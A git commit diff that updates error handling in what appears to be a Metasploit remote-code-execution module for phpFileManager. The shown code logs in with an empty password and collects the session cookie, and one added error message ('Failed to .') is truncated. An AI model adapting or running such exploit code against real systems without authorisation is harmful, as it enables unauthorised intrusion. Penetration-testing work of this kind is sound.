Update phpfilemanager_rce.rb

bug/bundler_fix
JT 2015-12-03 12:34:17 +08:00
parent a2d51d48cd
commit 869caf789f
1 changed files with 3 additions and 3 deletions

View File

@ -82,13 +82,13 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => uri,
'vars_post' => {
'frame' => '3',
'pass' => '' # yep this should be empty
'pass' => '' # yep this should be empty
}
})
if res.nil?
vprint_error("#{peer} - Connection timed out")
return :abort
fail_with(Failure::Unknown, "Failed to .")
end
location = res.headers['Location']
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
cookie = res.get_cookies
cookie
else
vprint_error("#{peer} - Error entering the file manager")
fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")
return
end
end